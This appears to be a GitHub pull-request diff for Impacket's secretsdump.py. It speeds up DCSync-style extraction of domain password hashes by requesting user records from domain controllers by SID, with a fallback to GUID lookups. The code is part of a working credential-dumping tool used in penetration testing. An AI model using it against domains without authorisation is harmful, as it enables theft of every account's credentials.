Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

secretsdump - Double DC Sync performance for DCs supporting SID lookups #1578

Merged
merged 2 commits into from
Aug 15, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
159 changes: 105 additions & 54 deletions impacket/examples/secretsdump.py
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@
from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dtypes import NULL, SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
Expand Down Expand Up @@ -535,7 +535,40 @@ def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp

def DRSGetNCChanges(self, userEntry):
# Wrapper for calling _DRSGetNCChanges with a GUID
def DRSGetNCChangesGuid(self, userGuid):
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = string_to_bin(userGuid[1:-1])
dsName['Sid'] = ''
dsName['NameLen'] = 0
dsName['StringName'] = ('\x00')
dsName['structLen'] = len(dsName.getData())

return self._DRSGetNCChanges(userGuid, dsName)

# Wrapper for calling _DRSGetNCChanges with a SID
def DRSGetNCChangesSid(self, userSid):

# Convert string SID to 2.4.2.2 packet SID
tsid = SID()
tsid.fromCanonical(userSid)
packetSid = pack("<B", tsid.fields['Revision'])
packetSid += pack("<B", tsid.fields['SubAuthorityCount'])
packetSid += tsid.fields['IdentifierAuthority'].fields['Value']
packetSid += tsid.fields['SubAuthority']

dsName = drsuapi.DSNAME()
dsName['SidLen'] = len(packetSid)
dsName['Guid'] = 0
dsName['Sid'] = packetSid
dsName['NameLen'] = 0
dsName['StringName'] = ('\x00')
dsName['structLen'] = len(dsName.getData())

return self._DRSGetNCChanges(userSid, dsName)

def _DRSGetNCChanges(self, userEntry, dsName):
if self.__drsr is None:
self.__connectDrds()

Expand All @@ -548,15 +581,6 @@ def DRSGetNCChanges(self, userEntry):
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = string_to_bin(userEntry[1:-1])
dsName['Sid'] = ''
dsName['NameLen'] = 0
dsName['StringName'] = ('\x00')

dsName['structLen'] = len(dsName.getData())

request['pmsgIn']['V8']['pNC'] = dsName

request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
Expand Down Expand Up @@ -638,7 +662,7 @@ def getDomainUsersLDAP(self, searchFilter):
try:
LOG.debug('Search Filter=%s' % searchFilter)
sc = SimplePagedResultsControl(size=100)
resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName'], sizeLimit=0, searchControls=[sc])
resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName','objectSid'], sizeLimit=0, searchControls=[sc])
except LDAPSearchError:
raise

Expand All @@ -647,17 +671,21 @@ def getDomainUsersLDAP(self, searchFilter):
for item in resp:
if isinstance(item, SearchResultEntry):
msDSPrincipalName = ''
userSid = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'msDS-PrincipalName':
msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8')
if str(attribute['type']) == 'objectSid':
tsid = SID(attribute['vals'][0].asOctets())
userSid = tsid.formatCanonical()
except Exception as e:
LOG.debug("Exception", exc_info=True)
LOG.error('Skipping item, cannot process due to error %s' % str(e))
pass
else:
LOG.debug('DA msDS-PrincipalName: %s' % msDSPrincipalName)
domainUsers.append(msDSPrincipalName)
LOG.debug('DA msDS-PrincipalName: %s, SID: %s' % (msDSPrincipalName, userSid))
domainUsers.append([msDSPrincipalName, userSid])

return domainUsers

Expand Down Expand Up @@ -2562,6 +2590,7 @@ def dump(self):
LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
lookupBySid = True

# Do we have to resume from a previously saved session?
if self.__resumeSession.hasResumeData():
Expand Down Expand Up @@ -2595,7 +2624,7 @@ def dump(self):
raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
Expand All @@ -2618,24 +2647,37 @@ def dump(self):
elif self.__ldapFilter is not None:
resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter)
formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
for user in resp:
crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=user)

if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], user))
for (user, userSid) in resp:

# Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise
if lookupBySid:
try:
userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)
except drsuapi.DCERPCSessionError as e:
LOG.debug("SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups")
lookupBySid = False

# We may need to run the above request again if it failed so this can't be an else
if not lookupBySid:
crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=user)

if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])

userRecord = self.__remoteOps.DRSGetNCChangesGuid(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], user)
)
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')

try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
Expand Down Expand Up @@ -2666,28 +2708,37 @@ def dump(self):
LOG.debug('Skipping SID %s since it was processed already' % userSid)
continue

# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=userSid)
# Try to lookup by SID, but fallback to DSCrackNames for GUID lookups otherwise
if lookupBySid:
try:
userRecord = self.__remoteOps.DRSGetNCChangesSid(userSid)
except drsuapi.DCERPCSessionError as e:
LOG.debug("SID lookup unsuccessful, falling back to DRSCrackNames/GUID lookups")
lookupBySid = False

# We may need to run the above request again if it failed so this can't be an else
if not lookupBySid:
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=userSid)

if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
break
userRecord = self.__remoteOps.DRSGetNCChangesGuid(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])

else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))

# userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')

if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
break
userRecord = self.__remoteOps.DRSGetNCChanges(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
# userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
Expand Down